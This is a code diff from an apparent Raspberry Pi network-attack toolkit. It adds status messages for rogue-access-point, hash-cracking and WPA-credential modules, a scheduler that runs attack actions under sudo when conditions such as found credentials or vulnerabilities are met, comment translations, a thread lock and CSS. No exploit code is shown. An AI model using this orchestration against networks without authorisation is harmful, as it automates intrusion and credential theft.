broadcasting {ssid} on ch{channel}...", + "WiFi deception: {ssid} on {iface}...", + "Uptime: {uptime}s — {clients} victim(s) connected!", + "EAPOL capture active on {ssid}...", + "Rogue access point running: {ssid}...", + "Loki deceives: fake AP luring clients...", + "WiFi honeypot active on channel {channel}..." + ], + "YggdrasilMapper": [ + "Tracing route to {ip}...", + "Topology: {nodes} nodes, {edges} edges...", + "Phase: {phase} — mapping {ip}...", + "Discovered {hops} hops to {ip}!", + "Network topology mapping in progress...", + "Building the world tree for {ip}...", + "Yggdrasil grows: {nodes} nodes mapped...", + "Traceroute complete — enriching topology..." + ], + "RuneCracker": [ + "Cracking {hashes} hashes... {cracked} found!", + "Hash cracking engine active...", + "Rune cracker: testing candidates...", + "Cracked {cracked} of {hashes} hashes so far!", + "Dictionary attack on hash database...", + "Breaking hashes with mutations...", + "Password cracking in progress...", + "Brute-forcing hash values..." + ], + "FreyaHarvest": [ + "Harvesting intelligence: {items} item(s)...", + "Scanning {input} for new findings...", + "Freya gathers: {items} intel items collected!", + "Data aggregation in progress...", + "Consolidating findings from all modules...", + "Intelligence report generation...", + "Monitoring output directories for new data...", + "Freya's harvest: collecting the spoils..." + ], + "WPAsecPotfileManager": [ + "WPA potfile {action}: {status}...", + "Downloading latest potfile from WPAsec...", + "WiFi credential management in progress...", + "Potfile operation: {action}...", + "WPAsec sync: {status}...", + "Managing WiFi credentials...", + "Importing WPA credentials...", + "WPAsec potfile download complete!" + ], + "PresenceJoin": [ + "Host joined: {host} ({mac})!", + "Welcome back, {host} at {ip}!", + "New device detected: {mac}...", + "Presence alert: {host} is online!", + "Discord notification: {host} joined the network!", + "{mac} appeared on the network!" + ], + "PresenceLeave": [ + "Host left: {host} ({mac})!", + "Goodbye, {host} at {ip}!", + "Device disconnected: {mac}...", + "Presence alert: {host} went offline!", + "Discord notification: {host} left the network!", + "{mac} disappeared from the network!" + ], + "DemoAction": [ + "Demo action running... status: {status}", + "Template action executing...", + "Demo mode: all systems nominal!", + "Testing action framework...", + "Demo action: {status}..." ], "TestStandalone": [ "Logging in as root...", diff --git a/resources/waveshare_epd/epd2in13_V2.py b/resources/waveshare_epd/epd2in13_V2.py index 61457b4..1638327 100644 --- a/resources/waveshare_epd/epd2in13_V2.py +++ b/resources/waveshare_epd/epd2in13_V2.py @@ -1,16 +1,16 @@ -# epd2in13_V2 — V2 alignée V4, zone utile 120px centrée dans 122px -# - Fenêtrage complet 122x250 -# - Data entry: X++ puis Y++ (0x03) comme V3/V4 -# - getbuffer() accepte une image 120x250 (ou 122x250) et la centre (offset=1) -# - Aucune rotation/mirroring côté driver (géré en amont si besoin) -# - Pas de décalage wrap-around d’1 pixel (fini la ligne sombre) +# epd2in13_V2 — V2 aligned with V4, usable area 120px centered in 122px +# - Full 122x250 windowing +# - Data entry: X++ then Y++ (0x03) like V3/V4 +# - getbuffer() accepts 120x250 (or 122x250) image and centers it (offset=1) +# - No rotation/mirroring on driver side (handled upstream if needed) +# - No 1px wrap-around offset (fixes the dark line artifact) import logging import time from . import epdconfig from logger import Logger -# Résolution physique du panneau (hardware) +# Physical panel resolution (hardware) EPD_WIDTH = 122 EPD_HEIGHT = 250 @@ -33,7 +33,7 @@ class EPD: FULL_UPDATE = 0 PART_UPDATE = 1 - # LUTs d'origine (Waveshare) + # Original Waveshare LUTs lut_full_update= [ 0x80,0x60,0x40,0x00,0x00,0x00,0x00, 0x10,0x60,0x20,0x00,0x00,0x00,0x00, @@ -124,11 +124,11 @@ class EPD: def init(self, update): """ - Init V2 alignée V4 : - - Data entry: 0x03 (X++ puis Y++) - - X-window: start=0x00, end=0x0F (16 octets = 128 bits => couvre nos 122 px) - - Y-window: start=0x0000, end=0x00F9 (250 lignes) - - Curseur: X=0x00, Y=0x0000 + Init V2 aligned with V4: + - Data entry: 0x03 (X++ then Y++) + - X-window: start=0x00, end=0x0F (16 bytes = 128 bits => covers 122 px) + - Y-window: start=0x0000, end=0x00F9 (250 lines) + - Cursor: X=0x00, Y=0x0000 """ if not self.is_initialized: if epdconfig.module_init() != 0: @@ -155,12 +155,12 @@ class EPD: self.send_command(0x11) self.send_data(0x03) - # Fenêtre RAM X (octets) 0..15 (16*8=128 bits -> couvre 122 px) + # RAM X window (bytes) 0..15 (16*8=128 bits -> covers 122 px) self.send_command(0x44) self.send_data(0x00) # start self.send_data(0x0F) # end - # Fenêtre RAM Y 0..249 + # RAM Y window 0..249 self.send_command(0x45) self.send_data(0x00) # Y-start L self.send_data(0x00) # Y-start H @@ -183,7 +183,7 @@ class EPD: for i in range(70): self.send_data(self.lut_full_update[i]) - # Curseur X/Y + # X/Y cursor self.send_command(0x4E); self.send_data(0x00) # X-counter (byte) self.send_command(0x4F); self.send_data(0x00); self.send_data(0x00) # Y-counter self.ReadBusy() @@ -206,7 +206,7 @@ class EPD: self.send_command(0x3C); self.send_data(0x01) - # Même fenêtrage qu’en full + # Same windowing as full update self.send_command(0x44); self.send_data(0x00); self.send_data(0x0F) self.send_command(0x45); self.send_data(0x00); self.send_data(0x00); self.send_data(0xF9); self.send_data(0x00) self.send_command(0x4E); self.send_data(0x00) @@ -234,12 +234,12 @@ class EPD: if pixels[src_x, y] == 0: xi = x + x_offset if xi <= 0 or xi >= W-1: - continue # sécurité: ne jamais écrire col 0 ni 121 + continue # safety: never write to col 0 or 121 byte_index = base + (xi >> 3) bit = 0x80 >> (xi & 7) buf[byte_index] &= (~bit) & 0xFF - # force colonnes 0 et 121 en blanc + # force columns 0 and 121 to white buf[base + (0 >> 3)] |= (0x80 >> (0 & 7)) buf[base + (121 >> 3)] |= (0x80 >> (121 & 7)) @@ -255,7 +255,7 @@ class EPD: def displayPartial(self, image): bytes_per_line = (self.width + 7) // 8 total = self.height * bytes_per_line - # Buffer inversé pour le second plan (comme d’origine) + # Inverted buffer for the second plane (as per original) buf_inv = bytearray(total) for i in range(total): buf_inv[i] = (~image[i]) & 0xFF diff --git a/runtime_state_updater.py b/runtime_state_updater.py index 33e68f8..4a69802 100644 --- a/runtime_state_updater.py +++ b/runtime_state_updater.py @@ -1,3 +1,5 @@ +"""runtime_state_updater.py - Background thread keeping display-facing state fresh.""" + import logging import os import random @@ -65,6 +67,7 @@ class RuntimeStateUpdater(threading.Thread): self._next_anim = 0.0 self._last_status_image_key = None self._image_cache: OrderedDict[str, object] = OrderedDict() + self._image_cache_lock = threading.Lock() self.comment_ai = CommentAI() @@ -244,22 +247,24 @@ class RuntimeStateUpdater(threading.Thread): if not path: return None try: - if path in self._image_cache: - img = self._image_cache.pop(path) - self._image_cache[path] = img - return img + with self._image_cache_lock: + if path in self._image_cache: + img = self._image_cache.pop(path) + self._image_cache[path] = img + return img img = self.shared_data._load_image(path) if img is None: return None - self._image_cache[path] = img - while len(self._image_cache) > self._image_cache_limit: - # Important: cached PIL images are also referenced by display/web threads. - # Closing here can invalidate an image still in use and trigger: - # ValueError: Operation on closed image - # We only drop our cache reference and let GC reclaim when no refs remain. - self._image_cache.popitem(last=False) + with self._image_cache_lock: + self._image_cache[path] = img + while len(self._image_cache) > self._image_cache_limit: + # Important: cached PIL images are also referenced by display/web threads. + # Closing here can invalidate an image still in use and trigger: + # ValueError: Operation on closed image + # We only drop our cache reference and let GC reclaim when no refs remain. + self._image_cache.popitem(last=False) return img except Exception as exc: logger.error(f"Image cache load failed for {path}: {exc}") @@ -267,9 +272,10 @@ class RuntimeStateUpdater(threading.Thread): def _close_image_cache(self): try: - # Drop references only; avoid closing shared PIL objects that may still be read - # by other threads during shutdown sequencing. - self._image_cache.clear() + with self._image_cache_lock: + # Drop references only; avoid closing shared PIL objects that may still be read + # by other threads during shutdown sequencing. + self._image_cache.clear() except Exception: pass diff --git a/script_scheduler.py b/script_scheduler.py new file mode 100644 index 0000000..46e18e9 --- /dev/null +++ b/script_scheduler.py @@ -0,0 +1,391 @@ +"""script_scheduler.py - Background daemon for scheduled scripts and conditional triggers.""" + +import json +import threading +import time +import subprocess +import os +import logging +from datetime import datetime, timedelta +from typing import Optional, Dict, Any, List + +from logger import Logger + +logger = Logger(name="script_scheduler", level=logging.DEBUG) + + +def evaluate_conditions(node: dict, db) -> bool: + """Recursively evaluate a condition tree (AND/OR groups + leaf conditions).""" + if not node or not isinstance(node, dict): + return False + + node_type = node.get("type", "condition") + + if node_type == "group": + op = node.get("op", "AND").upper() + children = node.get("children", []) + if not children: + return True + results = [evaluate_conditions(c, db) for c in children] + return all(results) if op == "AND" else any(results) + + # Leaf condition + source = node.get("source", "") + + if source == "action_result": + return _eval_action_result(node, db) + elif source == "hosts_with_port": + return _eval_hosts_with_port(node, db) + elif source == "hosts_alive": + return _eval_hosts_alive(node, db) + elif source == "cred_found": + return _eval_cred_found(node, db) + elif source == "has_vuln": + return _eval_has_vuln(node, db) + elif source == "db_count": + return _eval_db_count(node, db) + elif source == "time_after": + return _eval_time_after(node) + elif source == "time_before": + return _eval_time_before(node) + + logger.warning(f"Unknown condition source: {source}") + return False + + +def _compare(actual, check, expected): + """Generic numeric comparison.""" + try: + actual = float(actual) + expected = float(expected) + except (ValueError, TypeError): + return str(actual) == str(expected) + + if check == "eq": return actual == expected + if check == "neq": return actual != expected + if check == "gt": return actual > expected + if check == "lt": return actual < expected + if check == "gte": return actual >= expected + if check == "lte": return actual <= expected + return False + + +def _eval_action_result(node, db): + """Check last result of a specific action in the action_queue.""" + action = node.get("action", "") + check = node.get("check", "eq") + value = node.get("value", "success") + row = db.query_one( + "SELECT status FROM action_queue WHERE action_name=? ORDER BY updated_at DESC LIMIT 1", + (action,) + ) + if not row: + return False + return _compare(row["status"], check, value) + + +def _eval_hosts_with_port(node, db): + """Count alive hosts with a specific port open.""" + port = str(node.get("port", "")) + check = node.get("check", "gt") + value = node.get("value", 0) + # ports column is semicolon-separated + rows = db.query( + "SELECT COUNT(1) c FROM hosts WHERE alive=1 AND (ports LIKE ? OR ports LIKE ? OR ports LIKE ? OR ports=?)", + (f"{port};%", f"%;{port};%", f"%;{port}", port) + ) + count = rows[0]["c"] if rows else 0 + return _compare(count, check, value) + + +def _eval_hosts_alive(node, db): + """Count alive hosts.""" + check = node.get("check", "gt") + value = node.get("value", 0) + row = db.query_one("SELECT COUNT(1) c FROM hosts WHERE alive=1") + count = row["c"] if row else 0 + return _compare(count, check, value) + + +def _eval_cred_found(node, db): + """Check if credentials exist for a service.""" + service = node.get("service", "") + row = db.query_one("SELECT COUNT(1) c FROM creds WHERE service=?", (service,)) + return (row["c"] if row else 0) > 0 + + +def _eval_has_vuln(node, db): + """Check if any vulnerabilities exist.""" + row = db.query_one("SELECT COUNT(1) c FROM vulnerabilities WHERE active=1") + return (row["c"] if row else 0) > 0 + + +def _eval_db_count(node, db): + """Count rows in a whitelisted table with simple conditions.""" + ALLOWED_TABLES = {"hosts", "creds", "vulnerabilities", "action_queue", "services"} + table = node.get("table", "") + if table not in ALLOWED_TABLES: + logger.warning(f"db_count: table '{table}' not in whitelist") + return False + + where = node.get("where", {}) + check = node.get("check", "gt") + value = node.get("value", 0) + + # Build parameterized WHERE clause + conditions = [] + params = [] + for k, v in where.items(): + # Only allow simple alphanumeric column names + if k.isalnum(): + conditions.append(f"{k}=?") + params.append(v) + + sql = f"SELECT COUNT(1) c FROM {table}" + if conditions: + sql += " WHERE " + " AND ".join(conditions) + + row = db.query_one(sql, tuple(params)) + count = row["c"] if row else 0 + return _compare(count, check, value) + + +def _eval_time_after(node): + """Check if current time is after a given hour:minute.""" + hour = int(node.get("hour", 0)) + minute = int(node.get("minute", 0)) + now = datetime.now() + return (now.hour, now.minute) >= (hour, minute) + + +def _eval_time_before(node): + """Check if current time is before a given hour:minute.""" + hour = int(node.get("hour", 23)) + minute = int(node.get("minute", 59)) + now = datetime.now() + return (now.hour, now.minute) < (hour, minute) + + +class ScriptSchedulerDaemon(threading.Thread): + """Lightweight 30s tick daemon for script schedules and conditional triggers.""" + + MAX_PENDING_EVENTS = 100 + MAX_CONCURRENT_SCRIPTS = 4 + + def __init__(self, shared_data): + super().__init__(daemon=True, name="ScriptScheduler") + self.shared_data = shared_data + self.db = shared_data.db + self._stop = threading.Event() + self.check_interval = 30 + self._pending_action_events = [] + self._events_lock = threading.Lock() + self._active_threads = 0 + self._threads_lock = threading.Lock() + + def run(self): + logger.info("ScriptSchedulerDaemon started (30s tick)") + # Initial delay to let the system boot + if self._stop.wait(10): + return + while not self._stop.is_set(): + try: + self._check_schedules() + self._check_triggers() + except Exception as e: + logger.error(f"Scheduler tick error: {e}") + self._stop.wait(self.check_interval) + logger.info("ScriptSchedulerDaemon stopped") + + def stop(self): + self._stop.set() + + def notify_action_complete(self, action_name: str, mac: str, success: bool): + """Called from orchestrator when an action finishes. Queues an event for next tick.""" + with self._events_lock: + if len(self._pending_action_events) >= self.MAX_PENDING_EVENTS: + self._pending_action_events.pop(0) + self._pending_action_events.append({ + "action": action_name, + "mac": mac, + "success": success, + }) + + def _check_schedules(self): + """Query due schedules and fire each in a separate thread.""" + try: + due = self.db.get_due_schedules() + except Exception as e: + logger.error(f"Failed to query due schedules: {e}") + return + + for sched in due: + sched_id = sched["id"] + script_name = sched["script_name"] + args = sched.get("args", "") or "" + + # Check conditions if any + conditions_raw = sched.get("conditions") + if conditions_raw: + try: + conditions = json.loads(conditions_raw) if isinstance(conditions_raw, str) else conditions_raw + if conditions and not evaluate_conditions(conditions, self.db): + logger.debug(f"Schedule {sched_id} conditions not met, skipping") + continue + except Exception as e: + logger.warning(f"Schedule {sched_id} condition eval failed: {e}") + + # Respect concurrency limit + with self._threads_lock: + if self._active_threads >= self.MAX_CONCURRENT_SCRIPTS: + logger.debug(f"Skipping schedule {sched_id}: max concurrent scripts reached") + continue + + logger.info(f"Firing scheduled script: {script_name} (schedule={sched_id})") + self.db.mark_schedule_run(sched_id, "running") + + threading.Thread( + target=self._run_with_tracking, + args=(sched_id, script_name, args), + daemon=True + ).start() + + def _run_with_tracking(self, sched_id: int, script_name: str, args: str): + """Thread wrapper that tracks active count for concurrency limiting.""" + with self._threads_lock: + self._active_threads += 1 + try: + self._execute_scheduled(sched_id, script_name, args) + finally: + with self._threads_lock: + self._active_threads = max(0, self._active_threads - 1) + + def _execute_scheduled(self, sched_id: int, script_name: str, args: str): + """Run the script and record result. When sched_id is 0 (trigger-fired), skip schedule updates.""" + process = None + try: + # Look up the action in DB to determine format and path + action = None + for a in self.db.list_actions(): + if a["b_class"] == script_name or a["b_module"] == script_name: + action = a + break + + if not action: + if sched_id > 0: + self.db.mark_schedule_run(sched_id, "error", f"Action {script_name} not found") + return + + module_name = action["b_module"] + script_path = os.path.join(self.shared_data.actions_dir, f"{module_name}.py") + + if not os.path.exists(script_path): + if sched_id > 0: + self.db.mark_schedule_run(sched_id, "error", f"Script file not found: {script_path}") + return + + # Detect format for custom scripts + from web_utils.script_utils import _detect_script_format + is_custom = module_name.startswith("custom/") + fmt = _detect_script_format(script_path) if is_custom else "bjorn" + + # Build command + env = dict(os.environ) + env["PYTHONUNBUFFERED"] = "1" + env["BJORN_EMBEDDED"] = "1" + + if fmt == "free": + cmd = ["sudo", "python3", "-u", script_path] + else: + runner_path = os.path.join(self.shared_data.current_dir, "action_runner.py") + cmd = ["sudo", "python3", "-u", runner_path, module_name, action["b_class"]] + if args: + cmd.extend(args.split()) + + process = subprocess.Popen( + cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, + universal_newlines=True, env=env, cwd=self.shared_data.current_dir + ) + + # Wait for completion + stdout, _ = process.communicate(timeout=3600) # 1h max + exit_code = process.returncode + + if exit_code == 0: + if sched_id > 0: + self.db.mark_schedule_run(sched_id, "success") + logger.info(f"Scheduled script {script_name} completed successfully") + else: + last_lines = (stdout or "").strip().split('\n')[-3:] + error_msg = '\n'.join(last_lines) if last_lines else f"Exit code {exit_code}" + if sched_id > 0: + self.db.mark_schedule_run(sched_id, "error", error_msg) + logger.warning(f"Scheduled script {script_name} failed (code={exit_code})") + + except subprocess.TimeoutExpired: + if process: + process.kill() + process.wait() + if sched_id > 0: + self.db.mark_schedule_run(sched_id, "error", "Timeout (1h)") + logger.error(f"Scheduled script {script_name} timed out") + except Exception as e: + if sched_id > 0: + self.db.mark_schedule_run(sched_id, "error", str(e)) + logger.error(f"Error executing scheduled script {script_name}: {e}") + finally: + # Ensure subprocess resources are released + if process: + try: + if process.stdout: + process.stdout.close() + if process.poll() is None: + process.kill() + process.wait() + except Exception: + pass + + def _check_triggers(self): + """Evaluate conditions for active triggers.""" + try: + triggers = self.db.get_active_triggers() + except Exception as e: + logger.error(f"Failed to query triggers: {e}") + return + + for trig in triggers: + trig_id = trig["id"] + try: + if self.db.is_trigger_on_cooldown(trig_id): + continue + + conditions = trig.get("conditions", "") + if isinstance(conditions, str): + conditions = json.loads(conditions) + + if not conditions: + continue + + if evaluate_conditions(conditions, self.db): + # Respect concurrency limit + with self._threads_lock: + if self._active_threads >= self.MAX_CONCURRENT_SCRIPTS: + logger.debug(f"Skipping trigger {trig_id}: max concurrent scripts") + continue + + script_name = trig["script_name"] + args = trig.get("args", "") or "" + logger.info(f"Trigger '{trig['trigger_name']}' fired -> {script_name}") + self.db.mark_trigger_fired(trig_id) + + threading.Thread( + target=self._run_with_tracking, + args=(0, script_name, args), + daemon=True + ).start() + except Exception as e: + logger.warning(f"Trigger {trig_id} eval error: {e}") + + # Clear consumed events + with self._events_lock: + self._pending_action_events.clear() diff --git a/sentinel.py b/sentinel.py index 54ce611..be36b4c 100644 --- a/sentinel.py +++ b/sentinel.py @@ -1,21 +1,4 @@ -""" -Sentinel — Bjorn Network Watchdog Engine. - -Lightweight background thread that monitors network state changes -and fires configurable alerts via rules. Resource-friendly: yields -to the orchestrator when actions are running. - -Detection modules: - - new_device: Never-seen MAC appears on the network - - device_join: Known device comes back online (alive 0→1) - - device_leave: Known device goes offline (alive 1→0) - - arp_spoof: Same IP claimed by multiple MACs (ARP cache conflict) - - port_change: Host ports changed since last snapshot - - service_change: New service detected on known host - - rogue_dhcp: Multiple DHCP servers on the network - - dns_anomaly: DNS response pointing to unexpected IP - - mac_flood: Sudden burst of new MACs (possible MAC flooding attack) -""" +"""sentinel.py - Network watchdog: detects new devices, ARP spoofs, rogue DHCP, and more.""" import json import logging @@ -38,7 +21,7 @@ SEV_CRITICAL = "critical" class SentinelEngine: """ Main Sentinel watchdog. Runs a scan loop on a configurable interval. - All checks read from the existing Bjorn DB — zero extra network traffic. + All checks read from the existing Bjorn DB - zero extra network traffic. """ def __init__(self, shared_data): @@ -112,7 +95,7 @@ class SentinelEngine: # Resource-friendly: skip if orchestrator is busy with actions running_count = self._count_running_actions() if running_count > 2: - logger.debug("Sentinel yielding — %d actions running", running_count) + logger.debug("Sentinel yielding - %d actions running", running_count) self._stop_event.wait(min(self.interval, 15)) continue @@ -318,7 +301,7 @@ class SentinelEngine: ) or [] if not rules: - # No rules for this event type — still log but don't notify + # No rules for this event type - still log but don't notify self._store_event(event_type, severity, title, details, mac, ip, meta) return @@ -442,7 +425,7 @@ class SentinelEngine: for action in actions: if action == "notify_web": - # Web notification is automatic via polling — no extra action needed + # Web notification is automatic via polling - no extra action needed continue notifier = self._notifiers.get(action) if notifier: diff --git a/shared.py b/shared.py index 3dedf1b..ed84046 100644 --- a/shared.py +++ b/shared.py @@ -1,7 +1,4 @@ -# shared.py -# Core component for managing shared resources and data for Bjorn project -# Handles initialization, configuration, logging, fonts, images, and database management -# OPTIMIZED FOR PI ZERO 2: Lazy Loading, Thread-Safety, and Low Memory Footprint. +"""shared.py - Centralized config, fonts, images, and DB access for all Bjorn modules.""" import os import re @@ -91,6 +88,8 @@ class SharedData: # Main application directories self.data_dir = os.path.join(self.current_dir, 'data') self.actions_dir = os.path.join(self.current_dir, 'actions') + self.custom_scripts_dir = os.path.join(self.actions_dir, 'custom') + self.plugins_dir = os.path.join(self.current_dir, 'plugins') self.web_dir = os.path.join(self.current_dir, 'web') self.resources_dir = os.path.join(self.current_dir, 'resources') @@ -158,7 +157,8 @@ class SharedData: self.status_images_dir, self.static_images_dir, self.dictionary_dir, self.potfiles_dir, self.wordlists_dir, self.nmap_prefixes_dir, self.backup_dir, self.settings_dir, - self.ai_models_dir, self.ml_exports_dir + self.ai_models_dir, self.ml_exports_dir, + self.custom_scripts_dir ] for directory in directories: @@ -537,7 +537,7 @@ class SharedData: "get_action_history", "get_status", "run_action", "query_db" ], - # EPD Buttons (disabled by default — not all users have buttons) + # EPD Buttons (disabled by default - not all users have buttons) "__title_epd_buttons__": "EPD Buttons", "epd_buttons_enabled": False, "epd_button_a_pin": 5, @@ -551,8 +551,8 @@ class SharedData: """ Get current operation mode: 'MANUAL', 'AUTO', 'AI', 'BIFROST', or 'LOKI'. Abstracts legacy manual_mode and ai_mode flags. - LOKI is the 5th exclusive mode — USB HID attack, Pi acts as keyboard/mouse. - BIFROST is the 4th exclusive mode — WiFi monitor mode recon. + LOKI is the 5th exclusive mode - USB HID attack, Pi acts as keyboard/mouse. + BIFROST is the 4th exclusive mode - WiFi monitor mode recon. """ if self.config.get("loki_enabled", False): return "LOKI" @@ -813,6 +813,7 @@ class SharedData: self.display_layout = None # Initialized by Display module self.orchestrator_should_exit = False self.webapp_should_exit = False + self.script_scheduler = None # Instance tracking self.bjorn_instance = None @@ -941,6 +942,17 @@ class SharedData: # Status tracking self.status_list.add(meta["b_class"]) + # Merge plugin action registrations (if plugin_manager is loaded) + try: + mgr = getattr(self, 'plugin_manager', None) + if mgr: + plugin_actions = mgr.get_action_registrations() + if plugin_actions: + actions_config.extend(plugin_actions) + logger.info(f"Merged {len(plugin_actions)} plugin action(s)") + except Exception as e: + logger.debug(f"Plugin action discovery skipped: {e}") + if actions_config: self.db.sync_actions(actions_config) logger.info(f"Synchronized {len(actions_config)} actions to database") @@ -1228,7 +1240,7 @@ class SharedData: self.imagegen = None def wrap_text(self, text: str, font: ImageFont.FreeTypeFont, max_width: int) -> List[str]: - """Wrap text to fit within specified width — boucle infinie protégée.""" + """Wrap text to fit within specified width - infinite loop protected.""" try: lines = [] words = text.split() @@ -1237,8 +1249,8 @@ class SharedData: while words: line = [] - # Toujours ajouter au moins 1 mot même s'il dépasse max_width - # sinon si le mot seul > max_width → boucle infinie garantie + # Always add at least 1 word even if it exceeds max_width + # otherwise a single oversized word guarantees an infinite loop line.append(words.pop(0)) while words and font.getlength(' '.join(line + [words[0]])) <= max_width: line.append(words.pop(0)) diff --git a/utils.py b/utils.py index 2edbfb1..3f9fe7e 100644 --- a/utils.py +++ b/utils.py @@ -1,4 +1,5 @@ -# utils.py (pattern lazy __getattr__) +"""utils.py - Lazy-loading registry for web utility classes.""" + import importlib import threading @@ -26,6 +27,9 @@ class WebUtils: "bifrost": ("web_utils.bifrost_utils", "BifrostUtils"), "loki": ("web_utils.loki_utils", "LokiUtils"), "llm_utils": ("web_utils.llm_utils", "LLMUtils"), + "schedule_utils": ("web_utils.schedule_utils", "ScheduleUtils"), + "package_utils": ("web_utils.package_utils", "PackageUtils"), + "plugin_utils": ("web_utils.plugin_utils", "PluginUtils"), } diff --git a/web/css/pages/files.css b/web/css/pages/files.css index e59a50c..6150298 100644 --- a/web/css/pages/files.css +++ b/web/css/pages/files.css @@ -489,9 +489,9 @@ } } -/* ═══════════════════════════════════════════════════════════════════════ +/* ========================================================================== BACKUP & UPDATE (.page-backup) - ═══════════════════════════════════════════════════════════════════════ */ + ========================================================================== */ .page-backup .main-container { display: flex; height: calc(100vh - 60px); @@ -735,9 +735,9 @@ border: #007acc; } -/* ═══════════════════════════════════════════════════════════════════════ +/* ========================================================================== WEB ENUM (.webenum-container) - ═══════════════════════════════════════════════════════════════════════ */ + ========================================================================== */ .webenum-container .container { max-width: 1400px; margin: 0 auto; @@ -1137,9 +1137,9 @@ } } -/* ═══════════════════════════════════════════════════════════════════════ +/* ========================================================================== ZOMBIELAND C2C (.zombieland-container) - ═══════════════════════════════════════════════════════════════════════ */ + ========================================================================== */ .zombieland-container .panel { background: var(--panel); border: 1px solid var(--c-border); @@ -1622,9 +1622,9 @@ } } -/* ═══════════════════════════════════════════════════════════════════════ +/* ========================================================================== ACTIONS LAUNCHER (.actions-container) - ═══════════════════════════════════════════════════════════════════════ */ + ========================================================================== */ .actions-container #actionsLauncher { min-height: 0; height: 100%; @@ -2131,9 +2131,9 @@ } } -/* ═══════════════════════════════════════════════════════════════════════ +/* ========================================================================== ACTIONS STUDIO (.studio-container) - ═══════════════════════════════════════════════════════════════════════ */ + ========================================================================== */ .studio-container { --st-bg: #060c12; --st-panel: #0a1520; diff --git a/web/css/pages/scheduler.css b/web/css/pages/scheduler.css index 2df6f03..8b29226 100644 --- a/web/css/pages/scheduler.css +++ b/web/css/pages/scheduler.css @@ -1,6 +1,155 @@ /* ========================================================================== SCHEDULER ========================================================================== */ + +/* ===== Tab bar ===== */ +.sched-tabs { + display: flex; + gap: 2px; + padding: .5rem .6rem 0; + border-bottom: 1px solid var(--c-border); + background: var(--panel); +} +.sched-tab { + padding: 6px 16px; + border: 1px solid transparent; + border-bottom: none; + border-radius: 8px 8px 0 0; + background: transparent; + color: var(--muted); + font-size: 12px; + font-weight: 600; + cursor: pointer; + transition: background .15s, color .15s; +} +.sched-tab:hover { color: var(--ink); background: color-mix(in oklab, var(--c-panel-2) 60%, transparent); } +.sched-tab.sched-tab-active { + color: var(--acid); + background: var(--c-panel-2); + border-color: var(--c-border); +} +.sched-tab-content { display: none; padding: .6rem; } +.sched-tab-content.active { display: block; } + +/* ===== Schedule / Trigger cards ===== */ +.schedule-list, .trigger-list { + display: flex; + flex-direction: column; + gap: 6px; + margin-top: 10px; +} +.schedule-card, .trigger-card { + display: flex; + align-items: center; + justify-content: space-between; + gap: 8px; + padding: 8px 12px; + border: 1px solid var(--c-border); + border-radius: 8px; + background: var(--c-panel); + font-size: 12px; + flex-wrap: wrap; +} +.schedule-card:hover, .trigger-card:hover { + border-color: var(--c-border-strong); +} +.sched-script-name { font-weight: 700; color: var(--ink); } +.sched-badge { + display: inline-block; + padding: 1px 6px; + border-radius: 3px; + font-size: 10px; + font-weight: 600; + text-transform: uppercase; +} +.sched-badge-recurring { background: color-mix(in oklab, var(--acid) 18%, transparent); color: var(--acid); } +.sched-badge-oneshot { background: color-mix(in oklab, #f59e0b 18%, transparent); color: #f59e0b; } +.sched-badge-success { background: color-mix(in oklab, #22c55e 18%, transparent); color: #22c55e; } +.sched-badge-error { background: color-mix(in oklab, #ef4444 18%, transparent); color: #ef4444; } +.sched-badge-running { background: color-mix(in oklab, #3b82f6 18%, transparent); color: #3b82f6; } +.sched-meta { color: var(--muted); font-size: 11px; } +.sched-actions { display: flex; gap: 4px; align-items: center; } +.sched-actions button { + padding: 3px 8px; + border: 1px solid var(--c-border); + border-radius: 4px; + background: transparent; + color: var(--muted); + font-size: 10px; + cursor: pointer; +} +.sched-actions button:hover { color: var(--ink); border-color: var(--c-border-strong); } +.sched-actions button.sched-delete:hover { color: #ef4444; border-color: #ef4444; } + +/* Toggle switch */ +.sched-toggle { + position: relative; + width: 32px; + height: 18px; + cursor: pointer; +} +.sched-toggle input { opacity: 0; width: 0; height: 0; } +.sched-toggle-slider { + position: absolute; + inset: 0; + border-radius: 9px; + background: var(--c-border); + transition: background .2s; +} +.sched-toggle-slider::before { + content: ''; + position: absolute; + width: 14px; + height: 14px; + left: 2px; + bottom: 2px; + border-radius: 50%; + background: var(--ink); + transition: transform .2s; +} +.sched-toggle input:checked + .sched-toggle-slider { background: var(--acid); } +.sched-toggle input:checked + .sched-toggle-slider::before { transform: translateX(14px); } + +/* ===== Create form (schedules & triggers) ===== */ +.sched-form { + display: flex; + flex-wrap: wrap; + gap: 8px; + align-items: flex-end; + padding: 10px 12px; + border: 1px solid var(--c-border); + border-radius: 8px; + background: var(--c-panel); +} +.sched-form label { + display: flex; + flex-direction: column; + gap: 3px; + font-size: 11px; + color: var(--muted); +} +.sched-form input, .sched-form select { + padding: 4px 8px; + border: 1px solid var(--c-border); + border-radius: 4px; + background: var(--bg); + color: var(--ink); + font-size: 12px; +} +.sched-form button { + padding: 5px 14px; + border: 1px solid var(--acid); + border-radius: 4px; + background: color-mix(in oklab, var(--acid) 15%, transparent); + color: var(--acid); + font-size: 12px; + font-weight: 600; + cursor: pointer; +} +.sched-form button:hover { background: color-mix(in oklab, var(--acid) 25%, transparent); } +.sched-form-section { width: 100%; margin-top: 6px; } +.sched-empty-msg { color: var(--muted); font-size: 12px; padding: 12px 0; text-align: center; } + .scheduler-container .toolbar-top { position: sticky; top: calc(var(--h-topbar, 0px) + 5px); diff --git a/web/css/pages/shared.css b/web/css/pages/shared.css index e97e19f..567ef52 100644 --- a/web/css/pages/shared.css +++ b/web/css/pages/shared.css @@ -1,5 +1,5 @@ /* ========================================================================== - pages.css — Page-specific styles for all SPA page modules. + Page-specific styles for all SPA page modules. Each section is scoped under the page's wrapper class to avoid conflicts. ========================================================================== */ @@ -154,6 +154,201 @@ overflow: hidden; } +/* ===== Condition Builder ===== */ + +.cond-editor { padding: 4px 0; } + +.cond-group { + border-left: 3px solid var(--acid); + padding: 8px 8px 8px 12px; + margin: 4px 0; + border-radius: 4px; + background: color-mix(in oklab, var(--c-panel-2) 50%, transparent); +} +.cond-group-or { border-left-color: #f59e0b; } +.cond-group-and { border-left-color: var(--acid); } + +.cond-group-header { + display: flex; + align-items: center; + gap: 6px; + margin-bottom: 6px; +} + +.cond-op-toggle { + padding: 2px 8px; + border-radius: 4px; + border: 1px solid var(--c-border); + background: var(--c-panel); + color: var(--ink); + font-size: 11px; + font-weight: 700; + cursor: pointer; +} + +.cond-children { display: flex; flex-direction: column; gap: 4px; } + +.cond-item-wrapper { + display: flex; + align-items: flex-start; + gap: 4px; +} +.cond-item-wrapper > 